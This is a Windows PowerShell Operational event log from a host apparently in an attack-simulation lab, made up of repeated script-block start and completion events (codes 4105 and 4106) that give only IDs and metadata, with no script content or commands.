09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045599
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045594
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045593
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045571
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045570
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045569
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045568
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045551
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
